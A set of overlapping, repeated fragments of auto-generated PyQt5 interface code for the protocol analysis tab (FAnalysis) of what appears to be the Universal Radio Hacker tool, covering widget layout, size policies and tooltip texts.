"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchTotal.sizePolicy().hasHeightForWidth()) self.lSearchTotal.setSizePolicy(sizePolicy) self.lSearchTotal.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\"",
"QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbDecoding.sizePolicy().hasHeightForWidth()) self.cbDecoding.setSizePolicy(sizePolicy) self.cbDecoding.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents) self.cbDecoding.setObjectName(\"cbDecoding\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.verticalLayout.addWidget(self.cbDecoding)",
"self.cbDecoding.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents) self.cbDecoding.setObjectName(\"cbDecoding\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.verticalLayout.addWidget(self.cbDecoding) self.lEncodingErrors = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy =",
"self.lineEditSearch = QtWidgets.QLineEdit(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lineEditSearch.sizePolicy().hasHeightForWidth()) self.lineEditSearch.setSizePolicy(sizePolicy) self.lineEditSearch.setAcceptDrops(False) self.lineEditSearch.setClearButtonEnabled(True)",
"self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName(\"horizontalLayout\") self.cbMessagetypes = QtWidgets.QComboBox(self.frame) self.cbMessagetypes.setEditable(True) self.cbMessagetypes.setInsertPolicy(QtWidgets.QComboBox.NoInsert) self.cbMessagetypes.setObjectName(\"cbMessagetypes\") self.horizontalLayout.addWidget(self.cbMessagetypes) self.btnMessagetypeSettings =",
"font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.lblLabelValues.setFont(font) self.lblLabelValues.setAlignment(QtCore.Qt.AlignCenter) self.lblLabelValues.setObjectName(\"lblLabelValues\") self.gridLayout.addWidget(self.lblLabelValues, 0, 1, 1, 1)",
"LabelValueTableView from urh.ui.views.ProtocolLabelListView import ProtocolLabelListView from urh.ui.views.ProtocolTableView import ProtocolTableView from urh.ui.views.ProtocolTreeView import ProtocolTreeView",
"self.verticalLayout_2 = QtWidgets.QVBoxLayout(FAnalysis) self.verticalLayout_2.setObjectName(\"verticalLayout_2\") self.splitter = QtWidgets.QSplitter(FAnalysis) self.splitter.setOrientation(QtCore.Qt.Vertical) self.splitter.setObjectName(\"splitter\") self.frame_2 = QtWidgets.QFrame(self.splitter) self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel)",
"= QtGui.QIcon.fromTheme(\"go-next\") self.btnNextSearch.setIcon(icon) self.btnNextSearch.setObjectName(\"btnNextSearch\") self.gridLayout_2.addWidget(self.btnNextSearch, 0, 7, 1, 1) spacerItem = QtWidgets.QSpacerItem(60, 20,",
"self.tblViewProtocol.setAutoFillBackground(True) self.tblViewProtocol.setFrameShape(QtWidgets.QFrame.NoFrame) self.tblViewProtocol.setFrameShadow(QtWidgets.QFrame.Sunken) self.tblViewProtocol.setLineWidth(1) self.tblViewProtocol.setAutoScroll(True) self.tblViewProtocol.setDragDropMode(QtWidgets.QAbstractItemView.DropOnly) self.tblViewProtocol.setAlternatingRowColors(True) self.tblViewProtocol.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.tblViewProtocol.setTextElideMode(QtCore.Qt.ElideNone) self.tblViewProtocol.setVerticalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setShowGrid(False) self.tblViewProtocol.setGridStyle(QtCore.Qt.NoPen)",
"QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbProtoView.sizePolicy().hasHeightForWidth()) self.cbProtoView.setSizePolicy(sizePolicy) self.cbProtoView.setObjectName(\"cbProtoView\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\")",
"style=\\\" font-weight:600;\\\">Message Start</span> is the point in time when a protocol message begins.",
"II\")) self.cbDecoding.setItemText(3, _translate(\"FAnalysis\", \"Differential Manchester\")) self.cbDecoding.setItemText(4, _translate(\"FAnalysis\", \"...\")) self.lEncodingErrors.setText(_translate(\"FAnalysis\", \"Decoding errors for message:\"))",
"sizePolicy.setHeightForWidth(self.cbShowDiffs.sizePolicy().hasHeightForWidth()) self.cbShowDiffs.setSizePolicy(sizePolicy) self.cbShowDiffs.setObjectName(\"cbShowDiffs\") self.verticalLayout.addWidget(self.cbShowDiffs) self.chkBoxShowOnlyDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxShowOnlyDiffs.setObjectName(\"chkBoxShowOnlyDiffs\") self.verticalLayout.addWidget(self.chkBoxShowOnlyDiffs) self.chkBoxOnlyShowLabelsInProtocol = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxOnlyShowLabelsInProtocol.setObjectName(\"chkBoxOnlyShowLabelsInProtocol\")",
"= QtWidgets.QScrollArea(self.frame_4) self.scrollArea.setWidgetResizable(True) self.scrollArea.setObjectName(\"scrollArea\") self.scrollAreaWidgetContents = QtWidgets.QWidget() self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 320, 514)) self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\") self.verticalLayout",
"QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lNumSelectedColumns.sizePolicy().hasHeightForWidth()) self.lNumSelectedColumns.setSizePolicy(sizePolicy) self.lNumSelectedColumns.setObjectName(\"lNumSelectedColumns\") self.horizontalLayout_3.addWidget(self.lNumSelectedColumns) self.lColumnsSelectedText =",
"self.lDecodingErrorsValue = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecodingErrorsValue.sizePolicy().hasHeightForWidth()) self.lDecodingErrorsValue.setSizePolicy(sizePolicy) self.lDecodingErrorsValue.setObjectName(\"lDecodingErrorsValue\") self.verticalLayout.addWidget(self.lDecodingErrorsValue)",
"QtGui.QIcon.fromTheme(\"go-previous\") self.btnPrevSearch.setIcon(icon) self.btnPrevSearch.setObjectName(\"btnPrevSearch\") self.gridLayout_2.addWidget(self.btnPrevSearch, 0, 3, 1, 1) self.lSearchCurrent = QtWidgets.QLabel(self.frame_3) sizePolicy =",
"self.lColumnsSelectedText.setText(_translate(\"FAnalysis\", \"Column(s) selected\")) self.label.setText(_translate(\"FAnalysis\", \"Message type:\")) self.listViewLabelNames.setToolTip(_translate(\"FAnalysis\", \"Manage your estimations for protocol fields",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchTotal.sizePolicy().hasHeightForWidth()) self.lSearchTotal.setSizePolicy(sizePolicy) self.lSearchTotal.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchTotal.setObjectName(\"lSearchTotal\")",
"QtGui, QtWidgets class Ui_FAnalysis(object): def setupUi(self, FAnalysis): FAnalysis.setObjectName(\"FAnalysis\") FAnalysis.resize(1372, 907) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"the relative time (+ ...) from the previous message is shown.</p></body></html>\")) self.lTime.setText(_translate(\"FAnalysis\", \"0",
"self.verticalLayout_5.setContentsMargins(0, 0, 0, 0) self.verticalLayout_5.setObjectName(\"verticalLayout_5\") self.stackedWidgetLogicAnalysis.addWidget(self.pageButtonAnalyzer) self.pageProgressBar = QtWidgets.QWidget() self.pageProgressBar.setObjectName(\"pageProgressBar\") self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.pageProgressBar)",
"1, 0, 1, 1) self.verticalLayout_2.addWidget(self.splitter) self.retranslateUi(FAnalysis) self.stackedWidgetLogicAnalysis.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(FAnalysis) def retranslateUi(self, FAnalysis): _translate =",
"the current message.</p></body></html>\")) self.label_2.setText(_translate(\"FAnalysis\", \"RSSI:\")) self.lblRSSI.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal Strength Indicator</span>",
"self.horizontalLayout.addWidget(self.btnMessagetypeSettings) self.btnAddMessagetype = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-add\") self.btnAddMessagetype.setIcon(icon) self.btnAddMessagetype.setObjectName(\"btnAddMessagetype\") self.horizontalLayout.addWidget(self.btnAddMessagetype) self.btnRemoveMessagetype = QtWidgets.QToolButton(self.frame)",
"\"<\")) self.lSearchCurrent.setText(_translate(\"FAnalysis\", \"-\")) self.lSlash.setText(_translate(\"FAnalysis\", \"/\")) self.lSearchTotal.setText(_translate(\"FAnalysis\", \"-\")) self.btnNextSearch.setText(_translate(\"FAnalysis\", \">\")) self.label_2.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\"",
"self.tblLabelValues.horizontalHeader().setCascadingSectionResizes(False) self.tblLabelValues.horizontalHeader().setDefaultSectionSize(150) self.tblLabelValues.horizontalHeader().setStretchLastSection(True) self.tblLabelValues.verticalHeader().setVisible(False) self.gridLayout.addWidget(self.tblLabelValues, 1, 1, 2, 1) self.listViewLabelNames = ProtocolLabelListView(self.frame) sizePolicy",
"1) self.lSearchCurrent = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchCurrent.sizePolicy().hasHeightForWidth()) self.lSearchCurrent.setSizePolicy(sizePolicy) self.lSearchCurrent.setStyleSheet(\"QLabel\\n\"",
"self.label_3.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message Start</span> is the point in time when a",
"\"0\")) self.lColumnsSelectedText.setText(_translate(\"FAnalysis\", \"Column(s) selected\")) self.label.setText(_translate(\"FAnalysis\", \"Message type:\")) self.listViewLabelNames.setToolTip(_translate(\"FAnalysis\", \"Manage your estimations for protocol",
"self.verticalLayout.addWidget(self.listViewParticipants) self.cbProtoView = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbProtoView.sizePolicy().hasHeightForWidth()) self.cbProtoView.setSizePolicy(sizePolicy) self.cbProtoView.setObjectName(\"cbProtoView\")",
"QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxShowOnlyDiffs.setObjectName(\"chkBoxShowOnlyDiffs\") self.verticalLayout.addWidget(self.chkBoxShowOnlyDiffs) self.chkBoxOnlyShowLabelsInProtocol = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxOnlyShowLabelsInProtocol.setObjectName(\"chkBoxOnlyShowLabelsInProtocol\") self.verticalLayout.addWidget(self.chkBoxOnlyShowLabelsInProtocol) self.btnAnalyze = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy =",
"QtWidgets.QFrame(self.splitter_2) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.frame_4.sizePolicy().hasHeightForWidth()) self.frame_4.setSizePolicy(sizePolicy) self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_4.setObjectName(\"frame_4\") self.verticalLayout_8",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lBits.sizePolicy().hasHeightForWidth()) self.lBits.setSizePolicy(sizePolicy) self.lBits.setMaximumSize(QtCore.QSize(16777215, 15)) self.lBits.setObjectName(\"lBits\") self.horizontalLayout_3.addWidget(self.lBits) self.lBitsSelection = QtWidgets.QLineEdit(self.frame_3) self.lBitsSelection.setMaximumSize(QtCore.QSize(16777215, 20))",
"shown.</p></body></html>\")) self.label_3.setText(_translate(\"FAnalysis\", \"Timestamp:\")) self.lTime.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message</span><span style=\\\" font-weight:600;\\\">Start</span> is the point",
"self.horizontalLayout_2.addWidget(self.label_5) self.btnSaveProto = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnSaveProto.sizePolicy().hasHeightForWidth()) self.btnSaveProto.setSizePolicy(sizePolicy) self.btnSaveProto.setMaximumSize(QtCore.QSize(16777215,",
"QtWidgets.QLabel(self.frame_3) self.lColumnsSelectedText.setObjectName(\"lColumnsSelectedText\") self.horizontalLayout_3.addWidget(self.lColumnsSelectedText) self.verticalLayout_3.addLayout(self.horizontalLayout_3) self.verticalLayout_4.addWidget(self.splitter_2) self.frame = QtWidgets.QFrame(self.splitter) self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame.setFrameShadow(QtWidgets.QFrame.Raised) self.frame.setObjectName(\"frame\") self.gridLayout =",
"spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.lNumSelectedColumns = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,",
"= QtWidgets.QLabel(self.frame_3) self.lColumnsSelectedText.setObjectName(\"lColumnsSelectedText\") self.horizontalLayout_3.addWidget(self.lColumnsSelectedText) self.verticalLayout_3.addLayout(self.horizontalLayout_3) self.verticalLayout_4.addWidget(self.splitter_2) self.frame = QtWidgets.QFrame(self.splitter) self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame.setFrameShadow(QtWidgets.QFrame.Raised) self.frame.setObjectName(\"frame\") self.gridLayout",
"QtWidgets.QToolButton(self.frame_3) self.btnSearchSelectFilter.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnSearchSelectFilter.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnSearchSelectFilter.setObjectName(\"btnSearchSelectFilter\") self.gridLayout_2.addWidget(self.btnSearchSelectFilter, 0, 1, 1, 1) self.lFilterShown = QtWidgets.QLabel(self.frame_3) self.lFilterShown.setObjectName(\"lFilterShown\")",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnAnalyze.sizePolicy().hasHeightForWidth()) self.btnAnalyze.setSizePolicy(sizePolicy) self.btnAnalyze.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnAnalyze.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnAnalyze.setObjectName(\"btnAnalyze\") self.verticalLayout.addWidget(self.btnAnalyze) self.stackedWidgetLogicAnalysis =",
"= QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchTotal.sizePolicy().hasHeightForWidth()) self.lSearchTotal.setSizePolicy(sizePolicy) self.lSearchTotal.setStyleSheet(\"QLabel\\n\" \"{\\n\" \"",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnAnalyze.sizePolicy().hasHeightForWidth()) self.btnAnalyze.setSizePolicy(sizePolicy) self.btnAnalyze.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnAnalyze.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnAnalyze.setObjectName(\"btnAnalyze\") self.verticalLayout.addWidget(self.btnAnalyze) self.stackedWidgetLogicAnalysis = QtWidgets.QStackedWidget(self.scrollAreaWidgetContents)",
"QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName(\"horizontalLayout\") self.cbMessagetypes = QtWidgets.QComboBox(self.frame) self.cbMessagetypes.setEditable(True) self.cbMessagetypes.setInsertPolicy(QtWidgets.QComboBox.NoInsert) self.cbMessagetypes.setObjectName(\"cbMessagetypes\") self.horizontalLayout.addWidget(self.cbMessagetypes) self.btnMessagetypeSettings = QtWidgets.QToolButton(self.frame) icon",
"self.verticalLayout.addWidget(self.label_4) self.listViewParticipants = QtWidgets.QListView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewParticipants.sizePolicy().hasHeightForWidth()) self.listViewParticipants.setSizePolicy(sizePolicy) self.listViewParticipants.setObjectName(\"listViewParticipants\")",
"QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.frame_4.sizePolicy().hasHeightForWidth()) self.frame_4.setSizePolicy(sizePolicy) self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_4.setObjectName(\"frame_4\") self.verticalLayout_8 = QtWidgets.QVBoxLayout(self.frame_4) self.verticalLayout_8.setObjectName(\"verticalLayout_8\") self.scrollArea",
"\"Save current protocol..\")) self.label_4.setText(_translate(\"FAnalysis\", \"Participants:\")) self.cbProtoView.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>Set the desired view here.</p></body></html>\")) self.cbProtoView.setItemText(0, _translate(\"FAnalysis\",",
"QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-add\") self.btnAddMessagetype.setIcon(icon) self.btnAddMessagetype.setObjectName(\"btnAddMessagetype\") self.horizontalLayout.addWidget(self.btnAddMessagetype) self.btnRemoveMessagetype = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-remove\")",
"self.lEncodingErrors.setText(_translate(\"FAnalysis\", \"Decoding errors for message:\")) self.lDecodingErrorsValue.setText(_translate(\"FAnalysis\", \"0 (0.00%) \")) self.labelDecodingState.setText(_translate(\"FAnalysis\", \"SUCCESS\")) self.cbShowDiffs.setText(_translate(\"FAnalysis\", \"Mark",
"self.lBits.setText(_translate(\"FAnalysis\", \"Bit:\")) self.lHex.setText(_translate(\"FAnalysis\", \"Hex:\")) self.lDecimal.setText(_translate(\"FAnalysis\", \"Decimal:\")) self.lNumSelectedColumns.setText(_translate(\"FAnalysis\", \"0\")) self.lColumnsSelectedText.setText(_translate(\"FAnalysis\", \"Column(s) selected\")) self.label.setText(_translate(\"FAnalysis\", \"Message",
"self.gridLayout.addWidget(self.tblLabelValues, 1, 1, 2, 1) self.listViewLabelNames = ProtocolLabelListView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0)",
"self.verticalLayout_3.addWidget(self.tblViewProtocol) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\") self.lBits = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0)",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewLabelNames.sizePolicy().hasHeightForWidth()) self.listViewLabelNames.setSizePolicy(sizePolicy) self.listViewLabelNames.setAcceptDrops(False) self.listViewLabelNames.setObjectName(\"listViewLabelNames\") self.gridLayout.addWidget(self.listViewLabelNames, 2, 0, 1, 1) self.lblLabelValues = QtWidgets.QLabel(self.frame)",
"fields here. To add custom field types use Rightclick -> Edit.\")) self.lblLabelValues.setText(_translate(\"FAnalysis\", \"Label",
"FAnalysis.setAcceptDrops(True) FAnalysis.setFrameShape(QtWidgets.QFrame.StyledPanel) FAnalysis.setFrameShadow(QtWidgets.QFrame.Raised) FAnalysis.setLineWidth(1) FAnalysis.setMidLineWidth(0) self.verticalLayout_2 = QtWidgets.QVBoxLayout(FAnalysis) self.verticalLayout_2.setObjectName(\"verticalLayout_2\") self.splitter = QtWidgets.QSplitter(FAnalysis) self.splitter.setOrientation(QtCore.Qt.Vertical)",
"self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_3.setObjectName(\"frame_3\") self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.frame_3) self.verticalLayout_3.setObjectName(\"verticalLayout_3\") self.gridLayout_2 = QtWidgets.QGridLayout() self.gridLayout_2.setObjectName(\"gridLayout_2\") self.lineEditSearch =",
"1, 1) self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName(\"horizontalLayout\") self.cbMessagetypes = QtWidgets.QComboBox(self.frame) self.cbMessagetypes.setEditable(True) self.cbMessagetypes.setInsertPolicy(QtWidgets.QComboBox.NoInsert) self.cbMessagetypes.setObjectName(\"cbMessagetypes\") self.horizontalLayout.addWidget(self.cbMessagetypes)",
"self.listViewLabelNames.setObjectName(\"listViewLabelNames\") self.gridLayout.addWidget(self.listViewLabelNames, 2, 0, 1, 1) self.lblLabelValues = QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed)",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblViewProtocol.sizePolicy().hasHeightForWidth()) self.tblViewProtocol.setSizePolicy(sizePolicy) self.tblViewProtocol.setAcceptDrops(True) self.tblViewProtocol.setAutoFillBackground(True) self.tblViewProtocol.setFrameShape(QtWidgets.QFrame.NoFrame) self.tblViewProtocol.setFrameShadow(QtWidgets.QFrame.Sunken) self.tblViewProtocol.setLineWidth(1) self.tblViewProtocol.setAutoScroll(True) self.tblViewProtocol.setDragDropMode(QtWidgets.QAbstractItemView.DropOnly)",
"self.lBitsSelection.setAcceptDrops(False) self.lBitsSelection.setReadOnly(True) self.lBitsSelection.setObjectName(\"lBitsSelection\") self.horizontalLayout_3.addWidget(self.lBitsSelection) self.lHex = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"self.gridLayout_2.addWidget(self.line_2, 0, 12, 1, 1) self.label_3 = QtWidgets.QLabel(self.frame_3) self.label_3.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.label_3.setObjectName(\"label_3\") self.gridLayout_2.addWidget(self.label_3, 0, 13,",
"self.tblViewProtocol.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.tblViewProtocol.setTextElideMode(QtCore.Qt.ElideNone) self.tblViewProtocol.setVerticalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setShowGrid(False) self.tblViewProtocol.setGridStyle(QtCore.Qt.NoPen) self.tblViewProtocol.setSortingEnabled(False) self.tblViewProtocol.setWordWrap(False) self.tblViewProtocol.setCornerButtonEnabled(False) self.tblViewProtocol.setObjectName(\"tblViewProtocol\") self.tblViewProtocol.horizontalHeader().setDefaultSectionSize(40) self.verticalLayout_3.addWidget(self.tblViewProtocol) self.horizontalLayout_3",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnPrevSearch.sizePolicy().hasHeightForWidth()) self.btnPrevSearch.setSizePolicy(sizePolicy) self.btnPrevSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-previous\")",
"self.labelDecodingState.setText(_translate(\"FAnalysis\", \"SUCCESS\")) self.cbShowDiffs.setText(_translate(\"FAnalysis\", \"Mark diffs in protocol\")) self.chkBoxShowOnlyDiffs.setText(_translate(\"FAnalysis\", \"Show only diffs in protocol\"))",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbShowDiffs.sizePolicy().hasHeightForWidth()) self.cbShowDiffs.setSizePolicy(sizePolicy) self.cbShowDiffs.setObjectName(\"cbShowDiffs\") self.verticalLayout.addWidget(self.cbShowDiffs) self.chkBoxShowOnlyDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents)",
"self.lTime.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lTime.setObjectName(\"lTime\") self.gridLayout_2.addWidget(self.lTime, 0, 14, 1, 1) self.verticalLayout_3.addLayout(self.gridLayout_2) self.tblViewProtocol = ProtocolTableView(self.frame_3) sizePolicy =",
"field types use Rightclick -> Edit.\")) self.lblLabelValues.setText(_translate(\"FAnalysis\", \"Label values for message\")) self.btnMessagetypeSettings.setToolTip(_translate(\"FAnalysis\", \"Settings",
"self.btnNextSearch.setSizePolicy(sizePolicy) self.btnNextSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-next\") self.btnNextSearch.setIcon(icon) self.btnNextSearch.setObjectName(\"btnNextSearch\") self.gridLayout_2.addWidget(self.btnNextSearch, 0, 7, 1, 1)",
"QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecimal.sizePolicy().hasHeightForWidth()) self.lDecimal.setSizePolicy(sizePolicy) self.lDecimal.setMaximumSize(QtCore.QSize(16777215, 15)) self.lDecimal.setObjectName(\"lDecimal\") self.horizontalLayout_3.addWidget(self.lDecimal) self.lDecimalSelection = QtWidgets.QLineEdit(self.frame_3) self.lDecimalSelection.setMaximumSize(QtCore.QSize(16777215,",
"= QtWidgets.QFrame(self.splitter) self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame.setFrameShadow(QtWidgets.QFrame.Raised) self.frame.setObjectName(\"frame\") self.gridLayout = QtWidgets.QGridLayout(self.frame) self.gridLayout.setObjectName(\"gridLayout\") self.label = QtWidgets.QLabel(self.frame) sizePolicy",
"14, 1, 1) self.verticalLayout_3.addLayout(self.gridLayout_2) self.tblViewProtocol = ProtocolTableView(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
